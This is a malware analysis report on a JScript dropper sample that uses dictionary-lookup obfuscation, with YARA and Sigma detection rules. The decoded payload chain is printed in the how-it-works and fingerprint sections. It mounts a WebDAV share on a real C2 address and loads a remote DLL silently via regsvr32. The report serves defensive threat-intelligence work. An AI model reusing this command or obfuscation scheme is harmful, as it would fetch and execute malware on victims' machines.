unclassified-js-webdav-dropper: ade6cf68 — 36-entry noise-key dictionary, WebDAV C2 45.9.74.36:8888, payload 3118252697895.dll

Executive Summary

Twenty-sixth confirmed sibling of the unclassified-js-webdav-dropper family. A 5.3 KB JScript file using a 36-entry noise-key dictionary lookup-table obfuscation to assemble a WScript.Shell → cmd /k net use … && regsvr32 /s chain against WebDAV C2 45.9.74.36:8888. No PowerShell wrapper, no wordpad decoy, no sandbox gate — identical execution engine to siblings fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, and aa8ff8b9.

What It Is

• File: 3285140421761322433.js ^[metadata.json]
• Size: 5,311 bytes ^[file.txt]
• Type: ASCII text, CRLF line terminators, one 4,005-character line ^[file.txt]
• SHA-256: ade6cf68d1448793cf8a2af4b5d526c53e07f3484265d92e94da856331055451
• Family: unclassified-js-webdav-dropper — twenty-sixth confirmed sibling.
• Notable: First observed sample with the exact drqpclrtazhhywz dictionary object name; 36 noise-key entries are a near-perfect character-set cover (a–z, 0–9) with only j and z unused in the assembled payload.

How It Works

The script is a single-line JScript payload wrapped in a try{upzwm();}catch(fozzfuh){…} decoy block. ^[strings.txt:37]

1. Dictionary build — 36 entries of the form drqpclrtazhhywz['noise_key']='char'; ^[strings.txt:1-35]
2. Global access — Function('return this')() resolves to the global WScript object in WSH ^[strings.txt:37]
3. String assembly — The decoded chain is:

   WScript.CreateObject('WScript.Shell').run(
     'cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3118252697895.dll',
     0, false)
   

No wordpad decoy, no PowerShell wrapper, no try/catch nesting beyond the single top-level decoy. This is the stripped execution chain seen in the 45.9.74.36:8888 noise-key cluster.

C2 Infrastructure

Interesting Tidbits

• The dictionary object name drqpclrtazhhywz is 15 characters of random lowercase noise — longer than the 12-character names in d0124d62 (nxjvhshp) and d90baa30 (oagtwglybkhkruc), suggesting an automated generator with configurable length. ^[strings.txt:1]
• Keys like qlojpzfxodipvquk (18 chars) and acjlbrlknnosthmwez (20 chars) are longer than typical 8–12 char noise in earlier siblings, but still follow the lowercase-only, no-semantics pattern.
• The try{upzwm();}catch decoy function name upzwm is 5 characters of noise; earlier siblings used zlpvjq (d0124d62), lceuaxvfrx (d90baa30), mhtsrnvzlu (a435a37b), showing no fixed pattern.
• This is the seventh confirmed 36-entry noise-key variant on the 45.9.74.36:8888 infrastructure (fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, aa8ff8b9, now ade6cf68).

Deployable Signatures

YARA

rule JS_WebDAV_Dropper_Dictionary_NoiseKey_36 {
    meta:
        description = "JScript WebDAV dropper with 36-entry noise-key dictionary lookup"
        family = "unclassified-js-webdav-dropper"
        author = "PacketPursuit"
        date = "2026-06-28"
    strings:
        $dict_pattern = /\w+\[\'[a-z]{10,25}\'\]\s*=\s*\'[a-z0-9]\';/
        $wscript_ctor = "Function(''+/*"
        $webdav = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32" nocase
        $net_use = "net use" nocase
    condition:
        uint32be(0) != 0x4D5A and
        filesize < 10KB and
        #dict_pattern >= 30 and
        $wscript_ctor and
        $webdav and
        $regsvr32 and
        $net_use
}

Sigma

title: WebDAV Regsvr32 Silent DLL Load from JScript
description: Detects JScript spawning cmd.exe that mounts a WebDAV share and loads a DLL via regsvr32
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\wscript.exe'
        CommandLine|contains:
            - 'net use'
            - 'DavWWWRoot'
            - 'regsvr32 /s'
    condition: selection
falsepositives:
    - Rare legitimate IT automation scripts
level: high

IOC List

Behavioral Fingerprint

A JScript file opened by wscript.exe builds a 30+ entry noise-key dictionary, then uses Function('return this')() to access WScript.CreateObject('WScript.Shell').Run(), spawning cmd.exe /k net use \\<IP>@8888\DavWWWRoot\ && regsvr32 /s \\<IP>@8888\DavWWWRoot\<digits>.dll with window hidden (0). No PowerShell, no wordpad decoy, no sandbox gate. The entire execution completes within seconds of the user double-clicking the .js file.

Detection Signatures

References

• Sibling analyses: unclassified-js-webdav-dropper entity page
• Technique: js-dictionary-char-lookup-obfuscation, webdav-regsvr32-dll-sideloading
• CAPE: skipped — ASCII text, not a supported binary class ^[dynamic-analysis.md]

Provenance

• strings.txt — raw file content (full JScript payload)
• file.txt — file type identification (ASCII text, CRLF)
• metadata.json — OpenCTI artifact metadata (3285140421761322433.js)
• triage.json — triage pipeline output (ssdeep, family=null, tier=deep)
• dynamic-analysis.md — CAPE skip note (non-binary)
• exiftool.json — file metadata (5.3 KB, 37 lines, Windows CRLF)
• Decoded payload verified via Python dictionary replay against strings.txt content.